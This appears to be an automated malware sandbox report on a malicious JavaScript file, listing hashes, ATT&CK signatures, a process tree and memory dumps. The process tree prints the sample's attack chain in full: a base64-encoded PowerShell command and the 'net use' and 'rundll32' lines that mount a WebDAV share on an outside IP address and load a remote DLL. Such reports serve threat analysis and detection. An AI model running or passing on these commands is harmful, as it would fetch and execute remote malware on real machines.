Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    31/10/2024, 03:01

General

  • Target

    1191525717354510418.js

  • Size

    1.5MB

  • MD5

    da76d159f9fcd5e13d74edb6acef896a

  • SHA1

    23ebcf8b2fe32fbf2b227335b69187736875fa62

  • SHA256

    35b02aca60aaa109a7dc998ed58852d5d123598acf4c06b05dbae193364f5479

  • SHA512

    4c8e236e8feb56d010d86071b11f7cc1959241fdaa27aebb878c14a0ebfac11a1951998206f88363388e7970a52068a8a0f90ae54d989fa1fe5063f25f8eba9f

  • SSDEEP

    6144:vCRNXjvZYJItCwYj72bKYpBr8yXzFFFFFFJETj72bKYpBr8yXhfLSQ98Xd:K3LZYCclNiM

Malware Config

Signatures

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\1191525717354510418.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2872
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4AOAAyAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAOwA7ADsAOwA7ADsAOwA7ADsAOwA7ADsAOwA7ADsAOwA7ADsAOwAgAHIAdQBuAGQAbABsADMAMgAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4AOAAyAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAxADkAMwAzADUAMQA1ADEANAAzADEANAA0ADEAMQAuAGQAbABsACwARQBuAHQAcgB5AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:268
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\94.159.113.82@8888\davwwwroot\
        3⤵
          PID:2572
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" \\94.159.113.82@8888\davwwwroot\193351514314411.dll Entry
          3⤵
            PID:2128

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • memory/268-4-0x000007FEF5ACE000-0x000007FEF5ACF000-memory.dmp

              Filesize

              4KB

            • memory/268-5-0x000000001B690000-0x000000001B972000-memory.dmp

              Filesize

              2.9MB

            • memory/268-7-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

              Filesize

              9.6MB

            • memory/268-6-0x0000000001D30000-0x0000000001D38000-memory.dmp

              Filesize

              32KB

            • memory/268-8-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

              Filesize

              9.6MB

            • memory/268-9-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

              Filesize

              9.6MB

            • memory/268-10-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

              Filesize

              9.6MB

            • memory/268-11-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

              Filesize

              9.6MB

            • memory/268-12-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

              Filesize

              9.6MB